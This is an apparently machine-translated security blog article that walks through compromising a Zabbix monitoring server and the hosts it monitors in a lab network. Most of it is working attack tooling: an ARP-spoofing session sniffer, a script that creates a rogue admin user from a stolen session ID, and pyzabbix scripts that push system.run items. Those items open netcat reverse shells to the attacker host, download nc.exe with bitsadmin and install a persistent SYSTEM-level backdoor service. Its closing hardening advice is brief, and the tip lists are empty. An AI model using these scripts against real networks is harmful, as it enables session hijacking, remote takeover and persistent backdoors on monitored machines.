📜 ⬆️ ⬇️

Monitoring system as an entry point to enterprise computers

This is a continuation of the memo about the monitoring system Zabbix, recently published in our blog. Many thanks to the user Shodin , who made a significant contribution to the study and wrote this article.

Monitoring systems are a very practical component for managing the network structure of an enterprise. They allow you to see the changes that occur with devices almost in real time. And with the growth of the number of devices in the network, the role of the solution, which is able to centrally control devices, is multiplying.

In the simplest case, you want to see the availability of computers, monitor the operation of devices (for example, switches over ipmi), see changes in hardware configuration and send alerts about it.
')
Monitoring system can do a lot. But what if the attacker tries to use her capabilities for his own purposes? Can an attacker, due to the capabilities of Zabbix, launch attacks against hosts monitored with Zabbix?
Fearfully? Under the cat, consider what an attacker can do, having access to the Zabbix monitoring system, security and configuration, to which insufficient attention has been paid.

For research, I put together a simple test environment on virtual machines using VirtualBox:



Model circuit
Overview of Zabbix operation.
A Zabbix agent is installed on each client PC, which will exchange data with the Zabbix server.

In Zabbix server, PC monitoring is configured, as part of monitoring, the server searches for the installed agent on the PC and receives information from it.

Search and obtain information from the agent

Search and obtain information from the agent

By default, the following TCP ports are used to exchange information between Zabbix agent and Zabbix server: on the client side, port 10051 is configured (and listened) and port 10050 is configured (and listened) on the server side.

Listening port
The server adjusts the frequency of polling clients for changes in the data that the server receives from the agent. Setting the detection interval is set in the Configuration menu - Discovery of the Zabbix web-interface. Next, a new discovery rule is created (Discovery Rule). In the parameter settings, the Delay parameter is specified, which is responsible for the frequency of polling clients with the server. By default, this interval is 3600s, less than 5s, the polling interval is not set.

Target Detection Rule

On each client, a Zabbix agent is installed, the settings of which are specified in the configuration file. More details about the work of the agent can be found here .

The following options were set in the model for monitoring the PC in the agent config:


Possible scenario of the attacker's actions


To simplify the simulation, consider a typical situation in which the attacker and the Zabbix server are on the same subnet. The Zabbix server on the network is most often configured in such a way that it monitors the PC and runs remote commands there.
It is difficult to say how true this situation is. From personal experience of using Zabbix-server, I note that one of the goals of implementing Zabbix on the network, which I once admin, among other things, was the launch of remote commands on network computers.

What an attacker needs to do:

  1. Detect Zabbix server on the network.
  2. Get access to the frontend of Zabbix server.
  3. Get access to computers and gain a foothold in the system.

Next, consider how the attacker will solve these problems.

Detection of a working Zabbix server in the network


First, the attacker determines whether the Zabbix server is deployed on the network. The most obvious way to determine a working Zabbix server is to scan all network network resources for the presence of open ports of the Zabbix server and Zabbix agent on them; usually the default Zabbix server port is 10051 and the agent is 10050.

Scanning is best done at once on both ports, the command:

Nmap –sS –p 10050,10051 192.168.56.0/24 

Team Result

It can be seen that both ports on the node with the address 192.168.56.102 are open. Most likely, this is the server. But this is not accurate :) Let's try to find out for sure.

We use the curl command to check the server address, with its help we will send the following json request to the address 192.168.56.102/zabbix/api_jsonrpc.php :

 {"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0} 

The attacker does not know the password, but with this request he tries to connect to the server and indicates incorrect data. The idea is this - if the server is deployed at the selected address, an incorrect login and password error will return, and if there is no server at the specified address, the answers will not return at all, or the string “connection timeout” will return:

 curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}' http://192.168.56.102/zabbix/api_jsonrpc.php HTTP/1.1 200 OK Date: Fri, 02 Feb 2018 08:06:52 GMT Server: Apache/2.4.10 (Debian) Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: POST Access-Control-Max-Age: 1000 Content-Length: 159 Content-Type: application/json 

 {"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null} 

The server sent the request, so the Zabbix-server is deployed to the checked address.
For comparison, let's see what happens if you send a similar request to the address of another PC found (on which the Zabbix server is not deployed):
 curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}' http://192.168.56.110/zabbix/api_jsonrpc.php curl: (7) Failed to connect to 192.168.56.110 port 80: Connection refused 

The whole process can be clearly seen here .
Now let's try to determine the version of the Zabbix server. Without knowing the login and password, this can be done by parsing the source code of the page 192.168.56.102/zabbix/index.php . The source code of this page contains a link to the documentation with the Zabbix version.

Version of Zabbix server found in the source code of the page

The figure shows that the server version is 3.2.

To automate the version detection, a simple script was written that receives this information from the authorization page of the Zabbix server:

 """ This script is for testing zabbix version by version of the docs on the logon page """ import urllib2 import re from bs4 import BeautifulSoup zab_page='http://192.168.56.102/zabbix/index.php' page=urllib2.urlopen(zab_page) soup = BeautifulSoup(page, 'html.parser') for link in soup.findAll('a', attrs={'href': re.compile("documentation")}): version=link.get('href') parts=re.split('/', version) a=''.join (parts[4:5]) print "zabbix version is",a 

Script result

The process of parsing the version of Zabbix server can be found here .

Conclusion - the attacker has enough ways to determine if a working Zabbix server is present on the network.

Next, consider how you can access this server.

Getting access to the frontend of Zabbix server. Part one, overview


What will an attacker get from intercepting traffic between the Zabbix server and the agent?
The traffic between the agent and the server (if the agent’s configuration does not configure encryption of the transmitted data) is transmitted in an unencrypted form, in TCP packets with the PSH flag.

Unencrypted traffic

Such traffic can be intercepted and analyzed, but it will not do anything to gain access to the frontend.

However, Zabbix is ​​written in PHP, and the Zabbix API is web-based and shipped as part of the web interface. JSON-RPC 2.0 protocol is used. To use most features of Zabbix, it is enough to send HTTP POST requests to the api_jsonrpc.php file, which is located in the folder with the web-interface.

This means that when a user is authorized in the system (for example, when the administrator logs in to the Zabbix web interface), the request / response is executed in JSON format. At the same time for each user generated so-called. zbx_sessionid, which is used in json POST requests to the Zabbix server. More details about the implementation of the API can be found here .

How is user authentication? The first thing you need to get so-called. authentication key, for this you need to send the user login and password to the server, and if the data were specified correctly, the authentication key will return.

The process of transferring zbx_sessionid occurs even in the case of user authorization through the frontend web interface when entering the username and password of this user.

Consider an example of getting the value of zbx_sessionid for the Admin user with the password zabbix using the API. You need to send this line:

 {"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"zabbix"},"auth":null,"id":0} 

If you are too lazy to understand, then there is such a service , just for those who prefer the json string in a structured way.

Use the curl command to send the generated request:

 curl -i -X POST -H 'Content-type:application/json' -d ' {"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"zabbix"},"auth":null,"id":0}' http://192.168.56.102/zabbix/api_jsonrpc.php 

In response, we get:

 {jsonrpc:2.0,result:d2a72e967fa86307a6ab9b896d8c95b9,id:1} 

d2a72e967fa86307a6ab9b896d8c95b9 - this is the value of zbx_sessionid for the Admin user with the password zabbix. After receiving the user zbx_sessionid, you can use it to request data:

 {"jsonrpc": "2.0","method":"host.get","params":{"output": ["hostid","host"],"selectInterfaces": ["interfaceid","ip"]},"id": 2,"auth": " d2a72e967fa86307a6ab9b896d8c95b9"} 

Substitute the curl command:

 curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc": "2.0","method":"host.get","params":{"output": ["hostid","host"],"selectInterfaces": ["interfaceid","ip"]},"id": 2,"auth": " d2a72e967fa86307a6ab9b896d8c95b9"} ' http://192.168.56.102/zabbix/api_jsonrpc.php 

We get the following result:

 {"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix_server","interfaces":[{"interfaceid":"1","ip":"127.0.0.1"}]},{"hostid":"10105","host":"windows host","interfaces":[{"interfaceid":"2","ip":"192.168.56.1"}]},{"hostid":"10106","host":"Windows host","interfaces":[{"interfaceid":"3","ip":"192.168.56.110"}]}],"id":2} 

The whole process can be viewed here .

The value of zbx_sessionid itself is “salted” by the timestamp, which almost excludes its fake, but it is transmitted in the zbx_sessionid field in the open POST request!

In the case of the administrator's traffic interception, when he logs into the system, an attacker can get the administrator's zbx_sessionid and use the obtained value to develop the attack. This is possible because change zbx_sessionid occurs only when the user logs off. In the meantime, it is in the system, zbx_sessionid is periodically sent with each user action.

Can the intercepted zbx_sessionid be reused? Yes, you can, while the user is logged in. To do this, it’s just enough to substitute the json request, which then needs to be sent to the server.

The conclusion is that zbx_sessionid will be the obvious target of an attacker when intercepting traffic.

Getting access to the frontend of Zabbix server. Part two, practical


To get the admin zbx_sessionid value, an attacker simply listens for the traffic on the network between the Zabbix server and the admin computer.

The simplest option is the good old ARP spoofing.

In principle, it does not matter how ARP spoofing is implemented - the result will be obtained in any case. For this study, we used the scapy package for python, a very useful utility for working with network packages.

For “catching” zbx_sessionid, a script was written that opens a socket, listens for traffic, and catches the value of zbx_sessionid in the data sent:

 import socket import re s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) print ("trying to catch zbx_sessionid") k = '' while True: data = s.recvfrom(65565) try: if "HTTP" in data[0][54:]: raw = data[0][54:] if "\r\n\r\n" in raw: line = raw.split('\r\n\r\n')[0] print "[*] Header Captured " value = line m = re.search("(zbx_sessionid.*)", value) if m: str = m.group(0) k = re.split(r'\W+', str) print ("session_id is :") print (k[1]) ####Saving founded zbx_sessionid in file saved_zbxssids = open('zbx_sessionids.txt','a') saved_zbxssids.write('\n') saved_zbxssids.write(k[1]) saved_zbxssids.write('\n') saved_zbxssids.close() print ("zabbix session id saved in file zbx_sessionids.txt") else: pass else: pass except KeyboardInterrupt: s.close() 

Values ​​are saved in the file zbx_sessionids.txt

The attack algorithm is as follows:

  1. In kali we allow forwarding packets with the command:
    # sysctl –w net.ipv4.ip_forward=1
  2. Run the ARP spoofing utility:

    Team Result

    In this command:

    • 192.168.56.1 - address of the router
    • 192.168.56.102 - Zabbix server address
  3. Run the written script to intercept http headers with the following command:
     # python zabbix_zbxsessionid_sniffer.py 
  4. We are waiting for the user to try to connect to the admin panel of the Zabbix server. And we see the zbx_sessionid we need: Script result

Next, we will check if the intercepted zbx_sessionid will allow to get information from the server. To do this, try to get a list of all users in Zabbix using this request:

 {"jsonrpc": "2.0","method": "user.get","params":{"output": "extend"},"auth":"d547a4536e1660e753c765916d44531b","id":1} 

Substitute in curl:

 curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc": "2.0","method": "user.get","params":{"output": "extend"},"auth":"d547a4536e1660e753c765916d44531b","id":1}' http://192.168.56.102/zabbix/api_jsonrpc.php 


The result is successful:
 {"jsonrpc":"2.0","result":[{"userid":"1","alias":"Admin","name":"Zabbix","surname":"Administrator","url":"","autologin":"1","autologout":"0","lang":"en_GB","refresh":"30","type":"3","theme":"default","attempt_failed":"0","attempt_ip":"192.168.56.100","attempt_clock":"1517561631","rows_per_page":"50"},{"userid":"2","alias":"guest","name":"","surname":"","url":"","autologin":"0","autologout":"900","lang":"en_GB","refresh":"30","type":"1","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50"}],"id":1} 

The whole process can be viewed here .

Conclusion is recommended to structure, for example, using such a service .

You can see all users (and guests too), their names and pseudonyms, the IP addresses from which users log in, and other interesting information that is available only to the Zabbix administrator. Now that the attacker has the administrator's zbx_sessionid (the moral is not to sit under the administrator!) He can try to gain a foothold in the system.

For starters, you can create yourself a new user with admin rights, so as not to depend on the intercepted zbx_sessionid. To do this, you can use the following script:

 import json import requests from pyzabbix import ZabbixAPI #api_address="http://192.168.56.102/zabbix/api_jsonrpc.php" api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n") zbx_sessionid= raw_input("enter zbx_sessionid: \n") user= raw_input("enter username: \n") password= raw_input("enter password: \n") url = api_address headers = {'Content-type': 'application/json'} data = {"jsonrpc": "2.0", "method": "user.create", "params": { "alias": user, "passwd": password, "type": "3", "usrgrps": [ {"usrgrpid": "7"}], }, "auth": zbx_sessionid, "id": 1 } answer = requests.post(url, data=json.dumps(data), headers=headers) print(answer) response = answer.json() print(response) ###Using pyzabbix to connect whith created user creds print ("testing user parameters:") zapi = ZabbixAPI(api_address) zapi.login(user, password) print("Connected to Zabbix API Version %s" % zapi.api_version()) 

The result is successful.

Script result

The interface shows the created user.

Conclusion - when intercepting the zbx_sessionid of the Zabbix administrator, the attacker has the same opportunities as the Zabbix administrator.

The process itself can be found here .
By and large, this can and stop - the system is compromised. But what happens if you develop an attack? Is it possible to expand the attack area? What are the consequences for those components that are monitored in Zabbix?

Gain access to computers and dock in the system


Now that the attacker has created his user with administrator rights in Zabbix, you can try to penetrate those PCs that Zabbix is ​​monitoring.

In Zabbix there is such a possibility as running remote commands. This opportunity, we repeat, works as follows:


The command length is limited to 255 characters. Timeout commands - a maximum of 30 seconds, and the technology allows you to execute any command.

The idea is to create a task on a monitored PC that will run a command on it like this: “C: \ Users \ Public \ nc.exe –dLp 6666 - e cmd.exe” . Next, you can try to connect to the created shell.

The command will be executed with the rights that the Zabbix agent has in the system. However, due to the peculiarities of the implementation of the remote commands mechanism, a steady shell attacker cannot hang up with a single task of the type system.run ["C: \ Users \ Public \ nc.exe -dLp 6666 -e cmd.exe"] cannot - it will break for Zabbix features (the value of the timeout option in the agent config is important).

Based on the foregoing, the attacker's scenario will be as follows:

  1. Intercept zbx_sessionid. Next, create a new user with administrator rights (so as not to depend on the intercepted zbx_sessionid). This has already been done.
  2. Create a task for each agent found on the PC server. The task is to enable the launch of the shell, and use it to upload the shell to the victim's PC (or run an existing utility like netcat).
  3. Connect to the Zabbix shell created by the task and create another one that will not terminate due to the peculiarities of Zabbix.

Since the attacker has already created a user in Zabbix, you can use the parameters of the created user and the implementation of the Zabbix API in Python (pyzabbix package) in order not to bother with json and curl. First you need to determine which computers are monitored by Zabbix:

 from pyzabbix import ZabbixAPI api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n") zbx_sessionid= raw_input("enter zbx_sessionid: \n") user= raw_input("enter username: \n") password= raw_input("enter password: \n") zapi = ZabbixAPI(api_address) zapi.login(user, password) print("Connected to Zabbix API Version %s" % zapi.api_version()) for h in zapi.host.get(output="extend"): hostid=h['hostid'] host=h['host'] print ("found host: ",host,"hostid: ",hostid) 

Script result

Now, knowing the host name, you can set him the task of running a shell on a remote PC. First, hang the shell on the Zabbix server. The demonstration uses netcat, which is usually preinstalled in Linux. This slightly modified example was used.

 from pyzabbix import ZabbixAPI, ZabbixAPIException import sys api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n") user= raw_input("enter username: \n") password= raw_input("enter password: \n") hostname=raw_input("enter hostname: \n") # hostid=raw_input("enter hostid: \n") zapi = ZabbixAPI(api_address) # Login to the Zabbix API zapi.login(user, password) host_name = hostname hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"]) if hosts: host_id = hosts[0]["hostid"] print("Found host id {0}".format(host_id)) try: item = zapi.item.create( hostid=host_id, name='netcat_create_reverse_shell', key_='system.run["nc 192.168.56.100 4444 -e /bin/bash"]', type=0, value_type=4, interfaceid=hosts[0]["interfaces"][0]["interfaceid"], delay=5 ) except ZabbixAPIException as e: print(e) sys.exit() print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name)) else: print("No hosts found") 


Script result


How it looks in the web interface


The result of connecting to the created shell

As a result, a shell was received with the rights of the user who runs the Zabbix agent.
But this shell is not constant, so you need to try to create on its basis a new shell, which will no longer depend on the parameters of Zabbix. This can be done in different ways, one of which is to create a script that runs at a specific time (using the at command, for example).

The process itself can be found here .

However, the most interesting way will be considered for Windows, because by default in Windows Zabbix agent is installed and started as a service with System privileges.


Zabbix agent rights

With this in mind, any application launched by the agent will also run with System privileges. The attack vector will be somewhat more complicated:

  1. We start port wiretapping in kali:

     # nc -lvvnp 5555 
  2. Using Zabbix, we create a task that downloads the shell utility to the victim’s computer (we will use netcat for Windows) from the attacker's computer (using bitsadmin, you will have to configure Apache to download Kali - and do not forget to start it!):

 from pyzabbix import ZabbixAPI, ZabbixAPIException import sys api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n") user= raw_input("enter username: \n") password= raw_input("enter password: \n") host_name=raw_input("enter hostname: \n") # hostid=raw_input("enter hostid: \n") zapi = ZabbixAPI(api_address) # user='Admin', password='zabbix') # Login to the Zabbix API zapi.login(user, password) # host_name = 'Zabbix_server' # host_name = "windows host" hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"]) if hosts: host_id = hosts[0]["hostid"] print("Found host id {0}".format(host_id)) try: item = zapi.item.create( hostid=host_id, name='netcat_create_reverse_shell', key_='system.run["bitsadmin.exe /transfer /download http://192.168.56.100/nc.exe C:\\Temp\\nc.exe && C:\Temp\\nc.exe 192.168.56.100 5555 -e cmd.exe"]', type=0, value_type=4, interfaceid=hosts[0]["interfaces"][0]["interfaceid"], delay=30 ) except ZabbixAPIException as e: print(e) sys.exit() print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name)) else: print("No hosts found") 


Script result


Zabbix Reaction


Shell check

The shell is received with the System parameters, however it will be interrupted periodically. This is due to the Timeout parameter, which by default is not defined in the agent config and is 3s. During this time, a complex team simply will not have time to be executed. Therefore, the Timeout parameter was taken as 30s, which was warned at the beginning of the article.

In principle, the attacker himself can add the value of the option Timeout = 30 (by default, the option Timeout is commented out), simply by adding the line Timeout = 30 to the end of the zabbix_agentd.conf file. The agent is running as a service - therefore, it can change the file, it is enough to register the corresponding task on the server. For example, add an item, which will use the remote commands to add the necessary lines to the end of the configuration file.

Now we need to try to create a permanent shell, for which we will create a service (the rights allow), which will also raise the tunnel using nc. Let's create a command to create a service, save it to a file, and then redirect it to the nc input (service.txt file):

 sc create reversencbackdoor binpath= "cmd /CC:\Users\Public\nc.exe 192.168.56.100 6666 -e cmd.exe" type= own start= auto DisplayName= "NC service backdoor" 

To manage the service, we use a similar approach by changing some commands (the service_run.txt file):



The result is a successful service creation.

We will try to connect to the created service: we enable listening on port 6666 and start the service; without this, it starts and immediately ends its work.


Enable listening


In another window we send the service a command to launch

On port 5555, the nc program is started by the Zabbix agent, therefore, the shell terminates, as noted above, due to the nature of the command execution timeout by the agent. And the service starts with the System parameters - and the shell does not terminate.


Breakout Shell

The process itself can be found here .

What conclusions can be drawn from the above?


  1. With certain settings, an attacker can intercept zbx_sessionid and gain a foothold in the Zabbix system.
  2. Using the features of Zabbix agent operation, an attacker (with certain agent settings) can penetrate all PCs that are monitored by a Zabbix server.

As always, the legs of most security threats grow out of configuration errors, and the monitoring system is such a component, the wrong (from a security point of view) configuration of which can critically affect the security of all network components.
Therefore it is necessary to attend to the protection of transmitted data.

Here are some tips for setting up a Zabbix server:


Zabbix agent security also requires close attention:


Setting up secure access and improving security in Zabbix is ​​the topic of a separate article (and perhaps not one), there will be time - I will definitely write about it.

PS Many thanks sabotaged for help in preparing the article!

Source: https://habr.com/ru/post/350108/


All Articles